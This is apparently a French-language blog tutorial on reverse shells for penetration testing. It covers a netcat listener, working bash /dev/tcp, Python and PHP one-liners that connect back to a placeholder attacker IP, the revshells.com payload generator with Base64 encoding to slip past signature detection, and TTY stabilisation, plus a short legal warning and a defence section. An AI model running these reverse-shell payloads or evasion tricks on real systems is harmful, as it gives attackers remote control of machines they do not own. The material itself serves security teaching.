réseaux

Le Reverse Shell. Pour acceder hacker un terminal

07/04/2026
Le Reverse Shell (ou shell inversé). La machine cible (la victime) initie une connexion vers la machine de l'attaquant.

Le Reverse Shell (ou shell inversé) est un concept fondamental en cybersécurité, souvent utilisé lors de tests d'intrusion. Comprendre comment il fonctionne est essentiel pour apprendre à la fois l'attaque et la défense.

reverse shell ou prendre le control du terminal distant

1. Qu'est-ce qu'un Reverse Shell ?

Dans une connexion classique (comme SSH), le client se connecte au serveur. Dans un Reverse Shell, c'est l'inverse : la machine cible (la victime) initie une connexion vers la machine de l'attaquant.

Pourquoi l'utiliser ?

La plupart des pare-feux (firewalls) bloquent les connexions entrantes non sollicitées, mais autorisent les connexions sortantes (pour naviguer sur le web, par exemple). Le Reverse Shell permet donc de contourner cette restriction.

prerequis :

2 ordinateurs (1 attaquant et 1 une victime)


2. Le mécanisme (Le concept "Écouteur" vs "Connecteur")

Pour réussir un reverse shell, il faut deux étapes :

  1. L'Attaquant se met en écoute : Il ouvre un port sur sa machine et attend qu'on s'y connecte.
  2. La Cible se connecte : Elle exécute une commande qui redirige son terminal (shell) vers l'IP et le port de l'attaquant.

3. Tutoriel pratique

Avertissement légal : N'utilisez ces techniques que sur des systèmes vous appartenant ou avec une autorisation écrite explicite. L'usage illégal est passible de sanctions pénales.

Étape 1 : Préparer l'écoute (Côté Attaquant)

On utilise souvent l'outil Netcat (nc), surnommé le "couteau suisse du réseau".

Ouvrez un terminal et tapez :

nc -lvnp 4444
  • -l : Mode écoute (listen).
  • -v : Mode verbeux (donne des détails).
  • -n : Ne pas faire de résolution DNS (plus rapide).
  • -p 4444 : Port choisi (ici 4444).

Étape 2 : Lancer la connexion (Côté Cible victime)

Il existe des dizaines de façons de créer cette connexion selon les langages installés sur la cible. Voici la plus courante sous Linux (Bash) :

bash -i >& /dev/tcp/VOTRE_IP_ATTAQUANT/4444 0>&1

Explication de la commande :

  • bash -i : Lance un shell Bash interactif.
  • >& /dev/tcp/IP/PORT : Redirige la sortie standard et les erreurs vers l'adresse IP de l'attaquant via le protocole TCP.
  • 0>&1 : Prend l'entrée venant de la connexion réseau et la transmet au shell Bash.

Étape 3 : Prendre le contrôle

Une fois la commande exécutée sur la cible, votre terminal "en écoute" va changer de tête : vous aurez accès à l'invite de commande (prompt) de la machine distante. Vous pouvez alors taper des commandes comme whoami, ls ou hostname.



Si vous avez le même reésultat que la capture ci-dessous vous avez fini bravo.

Résultat de reverse shell


1. Variantes courantes (Payloads)

Si Bash n'est pas disponible, on peut utiliser d'autres langages déjà présents sur le système :

Python

python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP_ATTAQUANT",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'

PHP

php -r '$sock=fsockopen("IP_ATTAQUANT",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

Comment se défendre ?

Pour un défenseur (Blue Team), voici comment contrer ou détecter les reverse shells :

  • Filtrage de sortie (Egress Filtering) : Configurer le pare-feu pour bloquer toutes les connexions sortantes, sauf vers des ports et des IP spécifiques indispensables.
  • Surveillance des processus : Détecter des processus comme nc, bash ou python qui ouvrent des connexions réseau inhabituelles.
  • Analyse de logs : Chercher des commandes suspectes contenant /dev/tcp ou des sockets réseau dans l'historique des commandes.


Le site web revshells.com (l'outil ultime pour le reverse shell)

Maintenant que tu as compris le concept théorique du Reverse Shell, l'étape suivante pour un apprentissage efficace est d'utiliser des outils qui automatisent la création de ces commandes.

Le site revshells.com est la référence absolue pour cela. C'est un générateur de "payloads" (charges utiles) qui évite de mémoriser des syntaxes complexes et réduit les erreurs de frappe.


Allez sur le site web revshells.com


Explication ci-dessous.

1. Configuration de l'IP et du Port

Lorsque tu arrives sur le site, la première chose à faire est d'indiquer à la cible elle doit se connecter.

  • IP (LHOST) : C'est l'adresse IP de ta machine d'attaquant. Si tu es sur un réseau local ou un VPN (comme HackTheBox ou TryHackMe), assure-toi de mettre l'IP de ton interface réseau (souvent tun0 ou eth0).
  • Port (LPORT) : Le port sur lequel tu vas écouter. Le port 4444 est classique, mais en conditions réelles, on utilise souvent le 443 (HTTPS) ou le 80 (HTTP) car ils sont rarement bloqués en sortie par les pare-feux.

2. Choisir son "Listener" (L'écouteur)

Avant d'envoyer la commande à la victime, tu dois préparer ton terminal. RevShells propose un onglet Listener en haut à droite.

  1. Choisis ton outil (ex: nc pour Netcat, ou rlwrap nc pour avoir un historique des commandes).
  2. Le site te génère la commande exacte à copier-coller dans ton terminal.

3. Sélectionner le bon Payload

C'est ici que le site devient très puissant. Il existe des dizaines de types de shells selon l'environnement de la cible :

  • Bash / Sh : Idéal pour les serveurs Linux.
  • Python / Perl / Ruby : Très utiles si les outils réseau de base sont absents.
  • PowerShell : Indispensable pour attaquer des machines Windows.
  • PHP / ASP / JSP : Parfait si tu as réussi à uploader un fichier sur un serveur web.

[Image showing the payload selection list on revshells.com]

Astuce : Si une commande ne fonctionne pas, essaies-en une autre dans la même catégorie. Certains systèmes bloquent /dev/tcp mais autorisent une connexion via un "socat" ou un "python".

4. Options avancées : Encodage et Bypass

Parfois, la commande brute est bloquée par un pare-feu applicatif (WAF) ou corrompue lors du transfert (caractères spéciaux). RevShells propose des options d'encodage en bas de page :

  • Base64 : Transforme la commande en une chaîne de caractères illisibles. La cible décode et exécute la commande à la volée. C'est très efficace pour éviter la détection par signature.
  • URL Encoding : Indispensable si tu injectes ton shell via un paramètre dans une URL (faille RCE).

5. Cas pratique : Le "One-Liner" Bash

Voici comment tu procèderais concrètement avec le site :

  1. Tu entres ton IP : 10.10.14.5 et Port : 443.
  2. Tu sélectionnes Bash -i dans la liste de gauche.
  3. Tu copies la commande générée.
  4. Sur ta machine, tu lances l'écouteur suggéré : nc -lvnp 443.
  5. Sur la machine cible (via une faille que tu as trouvée), tu colles le payload.
  6. Boom : Tu reçois la connexion.


Explication du site revshells.com

Explication de l'outil revshells



Prochaine étape : La Stabilisation du reverse shell

Une fois connecté via revshells.com, le terminal est souvent instable (si tu fais Ctrl+C, tu perds tout). Pour apprendre la cyber, la suite logique est de chercher comment "stabiliser son TTY" pour avoir un vrai terminal interactif avec l'autocomplétion (Tab).

C’est l’étape qui sépare les débutants des pros. Quand tu obtiens un reverse shell avec Netcat, tu te retrouves souvent dans un terminal "instable" : pas d'autocomplétion avec la touche Tab, pas d'historique avec les flèches, et si tu fais un Ctrl+C par réflexe, tu tues ta connexion et tu perds ton accès.

Voici la procédure standard pour transformer ce shell fragile en un véritable terminal interactif (TTY).

Étape 1 : Le "Spawn" du Shell (Côté Cible)

Une fois que tu as ta connexion sur ton écouteur Netcat, la première chose à faire est d'utiliser Python pour créer un terminal plus complet. Tape cette commande sur la machine cible :

python3 -c 'import pty; pty.spawn("/bin/bash")'

Si python3 n'est pas là, essaie avec python.

Étape 2 : Mettre le Shell en arrière-plan

Maintenant, tu dois configurer ton propre terminal (celui de ta machine d'attaquant) pour qu'il transmette correctement les touches spéciales.

  1. Fais Ctrl + Z. Cela va mettre ton processus Netcat en pause en arrière-plan. Tu reviens temporairement sur ton propre prompt (ex: kali@kali:~$).

Étape 3 : Configurer le terminal local (Le "Stty Raw")

C'est ici que la magie opère. Tape exactement ceci sur ta machine d'attaquant :

stty raw -echo; fg

Que se passe-t-il ?

  • stty raw : Dit à ton terminal de transmettre chaque touche pressée directement (comme Ctrl+C ou Tab) au lieu de les interpréter localement.
  • -echo : Désactive l'écho local pour éviter de voir tes caractères en double.
  • fg : Ramène ton processus Netcat (le reverse shell) au premier plan.
Note : Quand tu taperas fg, il est possible que rien ne s'affiche à l'écran. Appuie simplement sur Entrée une ou deux fois pour retrouver ton prompt.

Étape 4 : Variables d'environnement

Ton terminal est maintenant stable, mais il ne sait pas encore qu'il est en couleur ou comment gérer l'affichage. Tape ceci dans le shell stabilisé :

Bash

export TERM=xterm

Une fois le terminal stabiliser vous devriez avoir le résultat ci-dessous.

stabilisation du reverse shell



Étape 5 : Ajuster la taille (Optionnel mais recommandé)

Si tu veux utiliser des éditeurs de texte comme nano ou vi dans ton shell, tu dois faire correspondre la taille (lignes et colonnes) de ton terminal local et distant.

  1. Ouvre un nouveau terminal sur ta machine et tape : stty size. (Exemple de réponse : 38 116).
  2. Dans ton reverse shell, tape :

Bash

stty rows 38 cols 116

Les alternatives (Le "Wildcard")

Si Python n'est pas installé, il existe d'autres méthodes pour stabiliser :

  • Script : script /dev/null -c bash (Très utile sur les systèmes Linux anciens).
  • Socat : Si la cible a socat installé, tu peux obtenir un shell totalement stable dès la connexion sans aucune manipulation supplémentaire. C'est l'outil préféré des experts pour éviter ces étapes manuelles.

Désormais, tu peux utiliser les flèches du clavier, faire des Ctrl+C pour arrêter un script sur la cible sans perdre ton accès, et utiliser la complétion automatique.